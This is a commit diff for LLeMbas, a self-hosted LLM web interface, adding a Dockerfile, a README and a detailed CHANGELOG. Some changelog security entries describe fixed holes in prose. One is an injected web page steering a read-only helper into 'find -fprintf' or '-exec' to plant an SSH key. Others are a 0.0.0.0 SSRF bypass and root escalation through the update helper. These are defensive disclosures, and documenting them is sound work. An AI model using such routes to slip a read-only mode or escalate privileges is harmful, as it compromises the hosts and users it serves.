A version that was not two spellings of itself

The Updates page read "v1.0.0 (reports 1.0.0)". That note exists to warn
that a tag was cut before the version bump -- a release nobody can
identify afterwards -- and it was firing on two ways of writing one
version, because `git describe` answers with the tag's name and tags here
carry a `v`.

Stripped in `_describe`, where `resolve_target` has always stripped it and
where the docstring already promised the stripped form. The mismatch check
then compares two things spelled the same way, and still reports a tag
that really does disagree; there is a test for each half.

Found by cutting the first release, which is the only place it could have
been found.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

.dockerignore

@@ -0,0 +1,31 @@
+# What must never reach the image.
+#
+# The first two blocks are the ones that matter: a `data/` directory copied in
+# would bake somebody's database, their uploads and their encrypted API keys
+# into an image, and a `.env` would bake the key that decrypts them.
+data/
+*.db
+*.db-wal
+*.db-shm
+.env
+.env.*
+lembas.env
+
+# `.git` is excluded and that has a consequence worth knowing: /admin/updates
+# reads it to say what is running, so inside a container that page says "not
+# installed from a checkout" and offers nothing. That is correct -- a container
+# is updated by pulling a new image, not by resetting a checkout inside it.
+.git/
+.github/
+
+.venv/
+venv/
+__pycache__/
+*.pyc
+.pytest_cache/
+.ruff_cache/
+htmlcov/
+.coverage
+dist/
+build/
+*.egg-info/

.env.example

@@ -20,8 +20,10 @@ LEMBAS_RELOAD=false
 # debug | info | warning | error
 LEMBAS_LOG_LEVEL=info
 
-# Allow new accounts to register themselves. The very first account created is
+# Allow new accounts to register themselves. This is only the INITIAL value:
-# always an admin, regardless of this setting. Turn off once your users exist.
+# once an administrator sets it under Admin -> General, the stored setting wins
+# and this variable is ignored. The very first account created is always an
+# admin regardless.
 LEMBAS_ALLOW_SIGNUP=true
 
 # Default theme for signed-out visitors: moria (dark) or shire (light).

CHANGELOG.md

@@ -0,0 +1,445 @@
+# Changelog
+
+What changed, per version, for somebody using or running LLeMbas — not a
+restatement of the commit log. If a change fixed something that *looked* like it
+worked, that is worth a line: those are the ones nobody would otherwise know to
+stop working around.
+
+Newest first. Versions are `__version__` in `src/lembas/__init__.py`, which is
+the only place a version is written.
+
+The first tagged release is **1.0.0**. Everything below it shipped as a running
+deployment rather than as a release, and is recorded here so the release notes
+for 1.0.0 have something to be assembled from.
+
+---
+
+## Unreleased
+
+## 1.0.1
+
+- Fixed: the Updates page showed **"v1.0.0 (reports 1.0.0)"** — two spellings of
+  one version, in a note whose whole purpose is to warn that a tag was cut
+  before the version bump. `git describe` answers with the tag's name, and tags
+  here carry a `v`. Found by cutting the first release, which is the only place
+  it could have been.
+
+## 1.0.0
+
+The first release. Every version before it shipped as a running deployment
+rather than as a release; this is what those add up to, and the point at which
+it is worth somebody else installing.
+
+**What it is.** A self-hosted web interface for OpenAI-compatible endpoints.
+Server-rendered, no build step, no CDN, one SQLite file. Point it at whatever
+you run — llama.cpp, LM Studio, vLLM, Ollama, OpenRouter, OpenAI — and it works
+the same.
+
+### What arrived since 0.8.1
+
+- **Things that happen because time passed.** Say "every Monday at nine" and a
+  model sets it up itself, against the same recurrence rule the manual form
+  uses. A run can file a **report** you read later, send you a message, or work
+  in a chat of its own.
+- **News that finds you.** A dot in the sidebar, a count in the tab title while
+  you are looking elsewhere, and **web push** so a schedule firing at seven in
+  the morning reaches a browser that is shut. Opt-in per device, and the one
+  thing here that contacts an outside service — `services/push.py` says so
+  plainly and says what it costs.
+- **Helpers.** A reply can hand a self-contained piece of work to another model
+  that runs on its own and reports back, several at once. A helper cannot ask
+  questions, cannot send helpers of its own, changes nothing unless asked, and
+  on a machine runs only a fixed list of read-only commands.
+- **Drawing.** Point it at a ComfyUI and a model can make images, against
+  workflow templates and defaults you set — size, steps, sampler, scheduler,
+  checkpoint. It reviews its own result and can try again.
+- **Semantic search.** Pick an embedding model and library search fuses keyword
+  and meaning, so *"how do I get paid"* finds a document that says *"invoicing"*.
+  Choosing none is not a degraded mode: it is byte-for-byte the keyword search
+  that was always there, with nothing written and no requests made.
+- **Quotas and sharing.** Monthly tokens, concurrent replies, agent wall clock,
+  images a day, helpers a reply — resolved by maximum across a person's groups,
+  with zero meaning *no limit*. Documents, notes, skills and reports can be
+  handed to a group or a person, read-only, with a *Shared with me* filter
+  everywhere. And a screen that answers **"what can this account actually do?"**
+  by naming where each permission came from.
+- **Make it yours.** Name, tagline, logo, favicon and launcher icons; the
+  Middle-earth wording is editable data; custom themes defined as a set of
+  colours rather than a stylesheet.
+- **Install it and update it.** A Dockerfile, a Proxmox container script, and an
+  `/admin/updates` page showing what is running, what is available and what
+  changed between. The button that applies an update is opt-in and cannot do the
+  work itself — it writes a file that a systemd unit picks up, because a web
+  application that can restart its own service is one whose worst day is much
+  worse.
+
+### The part worth reading
+
+Five audit passes went into this release rather than one, and they found things
+that had shipped looking correct. These are the entries somebody stops working
+around a bug because of:
+
+- **Every model was told the time in a zone with no name** — on any account that
+  had not chosen one, which is every account by default.
+- **A helper could write files and run programs on a remote machine,
+  unattended, in a mode that promises to change nothing.** `find` was on the
+  read-only command list, and `find -fprintf` writes a file.
+- **Two ways to get root out of the update helper**, one of which needed no
+  compromise at all: root ran a script the unprivileged service account owns,
+  and an update fetches that script as that account.
+- **Deleting a chat left every file it held on disk** — attachments, generated
+  images, all of it, with nothing that would ever look at them again.
+- **Folder nesting was fully built, documented in the README, and reachable by
+  nothing.** So was moving a chat into a folder.
+- **The terminal silently stopped accepting input after a reconnect**, while
+  output kept arriving so the panel looked healthy.
+- **On the Messages screen, half the keyboard shortcuts did nothing**, because
+  two scripts were loaded twice and each toggle ran twice.
+- **The prompt preview could not show two thirds of what it previews.**
+- **Hints and timestamps failed the contrast minimum in both themes.**
+
+### Where the edges are
+
+Stated because they are the things worth knowing before you rely on it:
+
+- **Nothing executes on the machine LLeMbas runs on.** Agent chats run their
+  commands over SSH on a host you choose, and the security of an agent chat is
+  the security of that host. There is no sandbox here and that is deliberate —
+  `PLAN.md` records the one that was designed and dropped, and why.
+- **One worker.** The generation registry, the terminal sessions and the
+  schedule ticker are all in-process. Two workers means two tickers and every
+  schedule firing twice.
+- **A restart abandons replies in flight**, keeping whatever each had.
+- **Schema changes are additive.** New tables and columns apply themselves at
+  startup; renames and drops are manual. The upgrade path is tested from an
+  0.8.1-shaped database with rows in it.
+- **Sharing grants reading only.**
+
+2283 tests on Python 3.11, 3.12 and 3.14.
+
+## 0.9.13
+
+**The testing pass.** 2140 tests became 2283, and writing them found four bugs
+that no amount of reading had.
+
+- Fixed: **the terminal silently stopped accepting input after a reconnect.**
+  Change the connection, or let the shell catch up after falling behind, and
+  every keystroke was dropped from then on — while output kept arriving, so the
+  panel looked perfectly healthy. It also announced "Disconnected. Close and
+  reopen to reconnect." about a shell that had just reconnected successfully.
+- Fixed: **on the Messages screen, half the keyboard did nothing.** Two scripts
+  were loaded twice there, so `Alt+B`, `Alt+E`, `Alt+T` and `Alt+I` toggled
+  their panel twice — which is to say not at all — while `/help` opened two
+  dialogs, `/image` posted the message twice, and picking an `@` mention
+  attached the file twice.
+- Fixed: **pressing the microphone while the permission prompt was up opened a
+  recording each time.** Only the last was stopped, so the browser's recording
+  indicator stayed on until the tab was closed.
+- Fixed: **a skill shared with you took its name out of your own library.**
+  Creating your own was refused with "a skill called that already exists. Edit
+  it instead" — naming a skill you cannot edit, because sharing grants reading
+  only. The model's `skill_create` hit the same dead end. Sharing a curated
+  skill with a team is what sharing is *for*.
+- Hints and timestamps are readable now. `--ink-faint` failed the accessibility
+  contrast minimum in **both** themes — 3.85:1 in Moria, 3.19:1 in Shire, where
+  4.5:1 is the bar — so the smallest text on every screen was the hardest to
+  read.
+- The suite runs on **Python 3.11 and 3.12** as well as 3.14. It had only ever
+  run on 3.14, while the Docker image ships 3.12 and the packaging claimed 3.11
+  — so the one interpreter most people would actually run was the one nothing
+  had tested.
+- A `docs/notes/release-checklist.md` for the half of testing a machine cannot
+  do: a real endpoint, a real machine, real hardware, a real pair of eyes.
+
+## 0.9.12
+
+**The security pass.** Six findings, all fixed. None is reachable by simply
+visiting the site; every one of them is a boundary that was supposed to hold
+and did not.
+
+- Fixed: **a helper could write files and run programs on the remote machine,
+  unattended, in a mode that promises to change nothing.** A subagent is pinned
+  to a fixed list of read-only commands — and `find` was on it. `find -fprintf`
+  writes a file, `find -exec` runs a program, `find -delete` removes one, and
+  none of them needs a character the shell-metacharacter guard refuses. A page
+  the model had just read could have asked for a helper and got an SSH key
+  written into `authorized_keys`. Those flags are refused outright now, whatever
+  list a command is on.
+- Fixed: **an SSH connection could be pointed at `0.0.0.0` and reach the machine
+  LLeMbas runs on**, with the "may a connection point here" setting still
+  reading *off*. Every other spelling was caught; that one is neither a real
+  destination nor a refused one, and connecting to it goes to localhost.
+- Fixed, twice, in the update helper — the one place this deliberately crosses a
+  privilege boundary: **root ran a script the unprivileged service account
+  owns**, and **root sourced a file that account can replace**. Either turns a
+  compromise of the web application into root on the host, which is exactly what
+  the unprivileged split exists to prevent. The first also meant control of the
+  branch was control of root, with no compromise needed at all.
+  **If you installed the update helper before this, re-run the installer** —
+  the old wiring stays until you do, and the update script now says so loudly
+  when it notices.
+- Fixed: **browser notification endpoints skipped the guard that stops the
+  server being aimed at your own network.** It was the only outbound request in
+  the codebase not going through it.
+- Fixed: **a chat could be put in another account's folder**, and a folder hands
+  its system prompt to the chats inside it — so that read a setting across an
+  ownership boundary through a field that looks like a tag.
+- Fixed: a `"` typed into the share panel's search box silently stopped every
+  checkbox in the panel from doing anything.
+- Fixed: **re-running the installer moved the update channel to `stable`** even
+  on a host following `edge`. The channel lives in two places — the environment
+  file the page reads and the systemd unit the button obeys — and a re-run kept
+  the first while rewriting the second, so an install for some unrelated reason
+  left the page naming one channel and the button deploying another. It now
+  defaults to what the host already follows.
+
+## 0.9.11
+
+- The Updates page no longer runs the **Check the remote** button flush against
+  the version and commit above it, where the two read as one block.
+
+## 0.9.10
+
+**The second audit pass: screens that were harder to use than they needed to
+be.** Checked by rendering them in a real browser and measuring, not by reading
+the CSS.
+
+- Fixed: **the Prompts admin page put its reference material first.** The
+  Variables legend and the Preview run to a screen each and sat above the tabs,
+  so the editor — the thing the page is for — started two screens down and every
+  tab switch had to move the whole page to be any use. On a short tab it could
+  not move far enough and left the panel stranded above a screenful of nothing.
+  The editor comes first now, the reference after, and the tab bar stays put:
+  measured, it moved 385→642px between tabs before and does not move at all now.
+  The tab bar also sticks to the top, so a long panel does not scroll it away.
+- Fixed: **custom themes were three fixed slots.** A fresh instance opened on
+  fifty-seven empty colour boxes under three identical headings, and a fourth
+  theme could not be made at all. Now: one block per theme you have, plus one
+  blank to add the next, with the colours behind a disclosure — so a theme is a
+  name and a starting point until you ask for more. Up to twelve. The page is
+  half the height it was.
+- Fixed: **deleting a chat left every file it held on disk.** The rows went —
+  the message, the attachments, the generated images — and the files they named
+  stayed, with nothing that would ever look at them again. Four of the five ways
+  a chat can end had this: the delete button, a schedule's task chat, a helper's
+  hidden chat, and deleting an account. There is one function that deletes a
+  chat now, and it removes the files first.
+- Fixed, and it is what made the above invisible: **a file attached before the
+  chat existed never learned which chat it belonged to.** Anything picked on the
+  new-chat screen kept an empty `chat_id` for the rest of its life. Six things
+  filter on that, so for those files the model was not told they were attached,
+  the canvas would not open them, and the cleanup could not find them.
+- **Folders can be nested, which the README has always claimed.** The route has
+  handled it since folders existed — cycle guard, depth limit — and the sidebar
+  has always drawn a tree; there was simply no control that could ask for it.
+  Moving a folder also respects the depth limit now, which only creating one did.
+- The Proxmox container installs the **update helper by default**. A container
+  made thirty seconds ago to run one thing is not the shared host the plain
+  installer has to be careful about, and an appliance you cannot update without
+  a shell is one nobody updates. `INSTALL_UPDATE_HELPER=0` opts out. Docker
+  deliberately has no equivalent: updating a container is pulling an image, and
+  a helper inside one would need the Docker socket, which is root on the host.
+- The starting points on the new-chat screen are four new ones, aimed at
+  somebody who has just stood an instance up and wants to know what is behind
+  it. Only a fresh install gets them; an instance that has already seeded keeps
+  whatever its administrator has made of the list.
+- `README.md` describes what this actually is again — schedules, reports,
+  helpers, image generation, semantic search, quotas, sharing, branding and the
+  updates page were all missing, and two things listed as *planned* had shipped.
+  It gained sections on Docker, the Proxmox container and updating.
+
+## 0.9.9
+
+**The first of five audit passes before 1.0.0** — everything that landed between
+0.8.1 and 0.9.8 read as a whole rather than one feature at a time. This one is
+the main logic, the harness, and every instruction a model is given.
+
+- Fixed: **every model was told the time in a zone with no name.** On any
+  account that had not chosen a timezone — which is the default state of every
+  account — the date line shipped as "Times the person gives you are in
+  unless they say otherwise", on every request. The code claimed in two places
+  that the line disappeared instead. It never had.
+- Fixed: **the prompt preview could not show most of what it previews.** Eleven
+  fragments are gated on things that only exist once there is a real chat, and
+  the preview has none — so the whole agent surface, both scheduling fragments
+  and the helper warning were missing from it whatever you ticked. Editing
+  `tool.agent` and pressing preview showed a system message without `tool.agent`
+  in it, and nothing said so. Two new controls come with the fix: what kind of
+  chat to preview as, and which agent mode.
+- Fixed: **a model in Plan mode was told to use a tool it did not have.**
+  `plan_update` is withdrawn in that mode in favour of `plan_submit`, but its
+  guidance appeared whenever a plan existed — directly under the line saying
+  anything not in your tool list does not exist.
+- Fixed: **reading one knowledge document could fill the whole context window.**
+  Every other reader caps what it returns and says so; this one returned the
+  document whole, and its description said "in full", so it did exactly what it
+  claimed. A long PDF is now cut at 40,000 characters with the model told.
+- Fixed: **the guidance about helpers on a machine was wrong in both
+  directions.** It denied that a helper can write files, which is a documented
+  option of the tool beside it, and it named seven of the twenty-three commands
+  a helper may run — so a model avoided commands it was allowed to use. Both are
+  now checked against the real list and the real schema by tests, because prose
+  and a constant drift the moment one is edited alone.
+- The tool description for delegating no longer claims a helper gets "the same
+  tools". It gets deliberately fewer, and sizing a task against the wrong set is
+  how a whole phase gets planned around something that will refuse it.
+
+- The Updates page notices when the update helper on a host was installed for a
+  **different channel** than the page follows. It is declared in two places —
+  `lembas.env` and the systemd unit — and only the installer writes both, so
+  editing one by hand would have left the button deploying something other than
+  what the page named, with nothing anywhere saying so.
+- Fixed: release notes from a **signed** tag rendered the signature block.
+  `_notes_for` stripped the PGP header only, and which header appears depends on
+  `gpg.format` — this repository signs with SSH.
+- A `CHANGELOG.md`, kept from now on rather than assembled at release time.
+
+## 0.9.8
+
+**Updates follow a channel, not a commit.** `stable` tracks the newest `vX.Y.Z`
+tag; `edge` tracks the branch tip. A branch tip is not a release — following one
+means deploying whatever was pushed five minutes ago — so stable is the default
+for anybody who is not the person writing it.
+
+- The Updates page shows a **version** rather than a commit sha: `1.0.0` at a
+  tag, `1.0.0-7-gd4f56d` seven commits past one, and a bare sha only before the
+  first release exists.
+- Release notes come out of the **annotated tag itself**, so no forge API is
+  involved anywhere. That matters: the Gitea API this was checked against
+  returns a 500 from a server-side panic on exactly the releases endpoint.
+- A tag with a suffix (`v1.1.0-rc1`) is deliberately not a release — git's
+  version sort ranks it *above* `v1.1.0`, so accepting one would step a stable
+  host onto a candidate.
+- Fixed: `deploy/update.sh` stopped silently after `== fetching ==` on any host
+  with no release tags — which was every host. Fetched, not reset, not
+  restarted, and no error printed.
+- Fixed: `install.sh` now refuses an `ssh://` repository URL up front instead of
+  letting the clone fail as a service user with no key.
+
+## 0.9.7
+
+**Packaging, and updating without a shell.**
+
+- `/admin/updates`: what is running, what is available, and what changed between.
+  A button applies it — answered by an **opt-in** systemd helper, because the
+  service runs unprivileged and a web application that can restart its own
+  service is one whose worst day is much worse. Without the helper the page says
+  so and prints the command.
+- `Dockerfile` and `docker-compose.yml`. No secret key, no data and no `.git`
+  baked in; loopback only; a TLS proxy expected in front, because a service
+  worker and a microphone both require HTTPS or localhost.
+- `deploy/lxc-install.sh` creates an unprivileged Proxmox container and runs the
+  existing installer inside it.
+- `/healthz`, which opens the database rather than only proving the socket is
+  listening.
+
+## 0.9.6
+
+**Permissions, quotas and sharing.**
+
+- **"What can this account actually do?"** answered on screen, naming *where*
+  each permission came from — admin, the baseline, or a group.
+- Users and groups are list-plus-detail, and membership is edited from **one**
+  side. It was on both, and a save from either overwrote what the other showed.
+- Reading and writing split for notes, memory and skills.
+- **Quotas on a group** — monthly tokens, concurrent replies, agent wall clock,
+  images a day, helpers a reply. Resolved by maximum across a person's groups,
+  with zero meaning *no limit* and winning outright.
+- Fixed: **deleting a group or an account left every share naming it behind.**
+  `forget_principal` had existed since shares did and was called by nobody.
+- Fixed: `library.share` defaulted to off, so sharing shipped documented as done
+  and unreachable — the panel only renders for somebody who holds it.
+- The share panel is its own action with a search box. It used to be checkboxes
+  inside the resource's save form, listing every account on the instance, and a
+  tick only took effect if you also saved the resource.
+- Reports are shareable, and every listing has a **Shared with me** filter.
+
+## 0.9.5
+
+**Extraction settings, embeddings, and hybrid search.**
+
+- `/admin/extraction`: upload size, image edge, JPEG quality, PDF pages,
+  extracted characters, orphan age, extra text extensions.
+- An **embedding model** can be chosen from models flagged for it. Library search
+  then fuses keyword and semantic ranking, so *"how do I get paid"* finds a
+  document that says *"invoicing"*.
+- **Choosing none is not a degraded mode**: no rows written, no requests made,
+  and byte-for-byte the keyword search that was always there.
+- Vectors carry their model and width, and a mismatch is skipped rather than
+  scored — comparing two embedding spaces produces a confident wrong answer.
+- Indexing happens in the background as records are written, with a rebuild
+  button for everything that already existed.
+
+## 0.9.4
+
+**An instance can be somebody else's.**
+
+- Name, tagline, logo, favicon and launcher icons derived from the logo.
+- The Middle-earth wording is editable data. Leaving a box alone does not freeze
+  it, so a later release can still improve the default.
+- **Custom themes** as a set of colours rather than a stylesheet, inheriting
+  whichever built-in they start from.
+- Global CSS overrides, served as `/branding.css`.
+
+## 0.9.3
+
+**Subagents.** A reply can hand a self-contained piece of work to a helper that
+runs on its own and reports back — several at once, so research fans out instead
+of queueing.
+
+- A helper cannot ask questions, cannot send helpers of its own, writes nothing
+  unless the call asked and the chat's mode allowed it, and on a machine runs
+  only a fixed list of read-only commands — in **every** mode, including Auto.
+- Fixed, and it was live in scheduled runs too: an unattended chat that hit an
+  approval built a card nobody could see and sat on it for fifteen minutes.
+
+## 0.9.2
+
+**Image generation defaults an administrator can actually set** — steps, cfg,
+size, sampler, scheduler, denoise, negative prompt, checkpoint, batch. There were
+none: one hard-coded set from the SD1.5 era, and prose in a box as the only way
+to change it.
+
+- The samplers and schedulers ComfyUI had been reporting all along are now the
+  pickers; nothing had ever read them.
+- The tool's own schema restates the instance's defaults, instead of telling the
+  model "Default 512" beside an instance that draws at 1024.
+
+## 0.9.1
+
+**Everything that arrives is announced, not only chat replies.** A scheduled run
+that filed a report used to light a dot in a corner and say nothing.
+
+- A count in the tab title while you are looking elsewhere.
+- **Web push**, so a schedule firing at seven in the morning reaches a browser
+  that is shut. Opt-in per device. It is the one thing here that contacts an
+  outside service, and `services/push.py` says so plainly.
+
+## 0.9.0
+
+**A model can schedule things.** There was no tool for it — asked to "remind me
+every Monday", a model wrote a note and reported that it had scheduled
+something, and every screen agreed with it.
+
+- `schedule_create`, `schedule_list`, `schedule_update`, `schedule_cancel`, over
+  the same rule normaliser the manual form uses.
+- The reply says the resulting timing back in words, which is the only moment
+  anybody can check that Monday was understood as Monday.
+
+## 0.8.3
+
+**An SSH connection may not point at this machine unless an administrator says
+so.** A profile aimed at `127.0.0.1` walked straight past "nothing runs on the
+LLeMbas host" — through a real login, onto the machine holding the database and
+the encryption key. Three positions: off, one named port, or anywhere.
+
+## 0.8.2
+
+- Fixed: **opening the canvas before a chat existed swapped the whole site into
+  the panel.** `hx-get=""` is not "fetch nothing" — htmx looks for the attribute,
+  not the value, so the empty one was a real request for the current document.
+- Fixed: the Canvas and Terminal buttons appeared where they could not work.
+- The bottom edge of the shell is no longer drawn, so the sidebar footer and the
+  composer stop meeting a line at two different heights.
+- Admin pages scroll in one container; `/admin/prompts` no longer drops you at
+  the bottom of a shorter panel.

Dockerfile

@@ -0,0 +1,69 @@
+# LLeMbas in a container.
+#
+# One stage, on purpose. There is nothing to build: no Node, no compiled assets,
+# no wheel worth producing separately — the vendored browser libraries are
+# committed and the templates are read at runtime. A multi-stage build here
+# would be ceremony that saves nothing and hides where the files came from.
+#
+# **This image is not a deployment on its own.** It serves plain HTTP and expects
+# a TLS reverse proxy in front, and that is a constraint rather than a
+# preference: a service worker and a microphone both require HTTPS or localhost,
+# so over plain http on a LAN address the app installs as nothing and cannot
+# dictate. See deploy/README.md.
+
+FROM python:3.12-slim
+
+# `bash` and `git` earn their place: `git` is what /admin/updates reads to say
+# what is running, and its absence there is reported rather than crashed on.
+# `curl` is the healthcheck below. Everything else stays out.
+RUN apt-get update \
+    && apt-get install --no-install-recommends -y git curl \
+    && rm -rf /var/lib/apt/lists/*
+
+# A real account rather than root, and made before the install so the layers it
+# owns are its own. 10001 rather than the first free id: a bind-mounted volume
+# on the host is easier to reason about when the id is stated.
+RUN useradd --create-home --uid 10001 --shell /usr/sbin/nologin lembas
+
+WORKDIR /app
+
+# The dependency install is its own layer, keyed on the files that decide it, so
+# editing a template does not re-resolve the whole tree.
+#
+# LICENSE is in the list because `pyproject.toml` declares `license = { file =
+# "LICENSE" }` and the build backend reads it -- without it the install fails
+# with "License file does not exist", which reads like a packaging problem and
+# is a missing COPY. README.md is there for the same reason (`readme = `).
+COPY pyproject.toml README.md LICENSE ./
+COPY src/lembas/__init__.py src/lembas/__init__.py
+RUN pip install --no-cache-dir -e ".[search,ssh]"
+
+COPY . .
+# Again, because the first install ran against a source tree with one file in
+# it. Cheap: everything is already resolved and cached above.
+RUN pip install --no-cache-dir --no-deps -e "." \
+    && chown -R lembas:lembas /app
+
+# The database, the uploads and the encryption at rest all live here. Declared
+# so that running without `-v` still works and says where the data went, rather
+# than losing it silently at the first `docker rm`.
+ENV LEMBAS_DATA_DIR=/data \
+    LEMBAS_HOST=0.0.0.0 \
+    LEMBAS_PORT=8080 \
+    PYTHONUNBUFFERED=1
+RUN install -d -o lembas -g lembas /data
+VOLUME ["/data"]
+
+# **No secret key is baked in.** One in an image is one every copy of the image
+# shares, and rotating it signs everybody out *and* makes stored upstream API
+# keys unreadable. Without LEMBAS_SECRET_KEY the app generates a temporary one
+# and warns loudly at startup, which is the right failure: it works for a look
+# and cannot be mistaken for a deployment.
+
+USER lembas
+EXPOSE 8080
+
+HEALTHCHECK --interval=30s --timeout=5s --start-period=20s --retries=3 \
+    CMD curl -fsS http://127.0.0.1:8080/healthz || exit 1
+
+CMD ["lembas", "serve"]

README.md

@@ -1,2 +1,502 @@
-# LLeMbas
+<p align="center">
+  <img src="assets/banner.svg" alt="LLeMbas — waybread for the long road of thought" width="100%">
+</p>
 
+<p align="center">
+  <strong>A self-hosted web UI for your language models, written in Python.</strong><br>
+  Talks to anything that speaks the OpenAI API. Themed after Middle-earth.
+</p>
+
+<p align="center">
+  <img alt="Version 1.0.0" src="https://img.shields.io/badge/version-1.0.0-6B8E4E?style=flat-square">
+  <img alt="Python 3.11+" src="https://img.shields.io/badge/python-3.11%2B-3E6B7A?style=flat-square">
+  <img alt="License GPL-3.0" src="https://img.shields.io/badge/license-GPL--3.0-C9A227?style=flat-square">
+  <img alt="No Node required" src="https://img.shields.io/badge/build%20step-none-6B8E4E?style=flat-square">
+</p>
+
+---
+
+*Lembas* is the Elvish waybread — one bite sustains a traveller for a day's
+march. The capitals hide what it runs on: **LLeM**bas.
+
+## Why this exists
+
+Most self-hosted LLM front-ends are large JavaScript applications with a Python
+API bolted underneath. LLeMbas is the other way round: **server-rendered
+Python**, with htmx and a little Alpine for interactivity. There is no
+`package.json`, no bundler, no build step, and nothing is fetched from a CDN at
+runtime. Clone it, `pip install -e .`, run it.
+
+## Features
+
+**Working now**
+
+- **Chats** — streaming replies, Markdown with server-side syntax highlighting,
+  copy and regenerate, automatic chat titles. Chats are created when you send
+  the first message, so an abandoned one never clutters the sidebar
+- **System prompts** — instance-wide, per-model and per-chat, with the most
+  specific winning outright
+- **Reasoning display** — thinking streams into its own collapsible block
+  (closed by default), labelled with how long it took, and is never replayed as
+  context
+- **Live Markdown** — formatting appears as the model writes, not at the end
+- **Stop and rewind** — cut a reply short and keep what arrived, or edit an
+  earlier message and run the conversation on from there
+- **Replies keep running in the background** — navigate away, open another
+  chat, close the tab; a green dot and a notification tell you when it lands
+- **Attachments** — drag, paste or pick images, PDFs and text files. Images are
+  downscaled and sent to vision models; PDF and text content is extracted and
+  put in the prompt
+- **`@` to name something** — a document from your library, or in an agent chat
+  a file in the project directory. The reference stays in the sentence you are
+  writing and the contents come with it
+- **`/` for commands** — `/compact`, `/usage`, `/mode plan`, `/effort high`,
+  `/model`, `/title`, `/terminal`, `/theme`. The list appears as you type and
+  filters as you go; `/help` shows all of them with the keyboard shortcuts
+  beside them. A message that merely starts with a slash is still sent as
+  written, and both `@` and a recognised command are marked in the box as you
+  type so you can see what will happen before you press Enter
+- **Reasoning effort** — `/effort low`, `medium` or `high` on a model marked as
+  reasoning, with a per-model default in the admin area. Sent two ways at once,
+  because there is no single field every endpoint reads
+- **Folders** — arbitrarily nested, delete a folder without losing the chats
+  inside it
+- **Web search** — offered to the model as a tool it calls when a question needs
+  it. DuckDuckGo out of the box (no account, no key), or point it at your own
+  SearXNG, or Firecrawl. The sources stay in the transcript
+- **Your own tools** — describe an HTTP call in the admin area (a schema, a URL
+  template, a secret) and a model can make it. Or add an **MCP server** by URL
+  and its tools appear beside the built-in ones. Both restrictable to groups,
+  and neither can be pointed at your own network unless you say so
+- **Agent chats** — start a chat as an *Agent* instead, pointed at one of your
+  own SSH connections and a directory on it, and a model can read files, write
+  files and run commands **there**. Nothing ever runs on the machine LLeMbas
+  itself is on. What it may do without asking is a mode you set and can change
+  mid-conversation: *Manual* shows you everything first, *Edit* writes freely
+  but asks before commands, *Auto* asks about nothing, and *Plan* reads freely,
+  changes nothing, and finishes by proposing steps you can carry out with one
+  button. Adding a host shows you its fingerprint before anything is sent to it
+- **A terminal beside the chat** — the same connection, a real shell, opened and
+  closed like any panel. It survives closing the panel and reloading the page,
+  so a build keeps running; the model cannot see it, and a button hands it the
+  output you choose
+- **It can ask you things** — a model that needs a decision can stop and put a
+  few questions on one card, with answers to pick from and a box to write your
+  own. In any chat, not only an agent one
+- **Speech in and out** — dictate a message and have replies read aloud, against
+  any OpenAI-compatible audio endpoint (whisper.cpp, Speaches, Kokoro…). Each
+  person picks their own voice
+- **A library** — four places a model can reach for. **Knowledge**: documents,
+  images and web pages you collect, grouped into named bases so a chat can be
+  pointed at just the right one, searched before the web. **Notes**: longer
+  things it writes down and finds again later. **Memory**: short facts about you,
+  in front of it on every turn. **Skills**: saved procedures it can follow, and
+  write. All of it visible and editable by you, and shareable with a group or a
+  person, read-only
+- **Installable** — add it to a phone home screen or a desktop launcher and it
+  runs in its own window
+- **OpenAI connections** — point at OpenAI, LM Studio, vLLM, llama.cpp,
+  llama-swap, Ollama or OpenRouter; models are discovered and cached
+- **Model settings** — searchable, filterable list with a page per model:
+  ordering, pinned models, an instance default and a per-user default, custom
+  names, descriptions and images. Scales to hundreds of models
+- **Things that happen because time passed** — say "every Monday at nine" and a
+  model can set it up itself, against the same recurrence rule the manual form
+  uses. A run can file a **report** you read later, send you a message, or work
+  on in a chat of its own. The reply says the timing back in words, which is the
+  one moment anybody can check that Monday was understood as Monday
+- **News that finds you** — a dot in the sidebar, a count in the tab title while
+  you are looking elsewhere, and **web push** so a schedule firing at seven in
+  the morning reaches a browser that is shut. Opt-in per device
+- **Helpers** — a reply can hand a self-contained piece of work to another model
+  that runs on its own and reports back, several at once, so research fans out
+  instead of queueing. A helper cannot ask questions, cannot send helpers of its
+  own, and on a machine runs only a fixed list of read-only commands
+- **Drawing** — point it at a ComfyUI and a model can make images, against
+  workflow templates and defaults you set: size, steps, sampler, scheduler,
+  checkpoint. It reviews its own result and can try again
+- **Semantic search** — pick an embedding model and library search fuses keyword
+  and meaning, so *"how do I get paid"* finds a document that says *"invoicing"*.
+  Choosing none is not a degraded mode: it is byte-for-byte the keyword search
+  that was always there, with nothing written and no requests made
+- **Users, groups & permissions** — per-group grants that union rather than
+  override, model access restricted to chosen groups, read and write split for
+  notes, memory and skills, and a screen that answers *"what can this account
+  actually do?"* by naming where each permission came from
+- **Quotas** — monthly tokens, concurrent replies, agent wall clock, images a
+  day, helpers a reply. Resolved by maximum across a person's groups, with zero
+  meaning *no limit*
+- **Sharing** — hand a document, a note, a skill or a report to a group or a
+  person, read-only, with a *Shared with me* filter in every listing
+- **Make it yours** — name, tagline, logo, favicon and launcher icons; the
+  Middle-earth wording is editable data; custom **themes** defined as a set of
+  colours rather than a stylesheet, and global CSS overrides
+- **Accounts** — first account becomes the administrator, argon2 password
+  hashing, revocable server-side sessions, self-service password change,
+  admin-managed accounts
+- **Admin settings** — registration, upload and extraction limits, prompt
+  fragments, and an **Updates** page showing what is running, what is available
+  and what changed between
+- **Two themes and your own** — *Moria* (dark), *Shire* (light), and as many
+  more as you care to define
+
+**Planned**
+
+OCR for scanned PDFs · conversation branching · chat export · archived chats.
+
+See [PLAN.md](PLAN.md) for what is built, what is not, and why.
+
+## Quick start
+
+```bash
+git clone https://git.houmeres.sk/Houmeres/LLeMbas.git
+cd LLeMbas
+
+python -m venv .venv && . .venv/bin/activate
+pip install -e ".[dev,search,ssh]"   # search: DuckDuckGo. ssh: agent chats.
+                                     # Drop either if you do not want it
+
+cp .env.example .env
+lembas secret-key           # paste the result into LEMBAS_SECRET_KEY
+
+lembas serve                # http://127.0.0.1:8080
+```
+
+Open the address and create the first account — it becomes the administrator.
+Then go to **Admin → Connections** and add an endpoint. For a local runner that
+is usually `http://localhost:1234/v1` with no API key. Press **Test & refresh**
+and its models appear in the chat model picker.
+
+> The vendored browser libraries (htmx, Alpine) are committed, so no network
+> access is needed to run. To re-fetch or bump them:
+> `python scripts/fetch_vendor.py --update`.
+
+### Web search
+
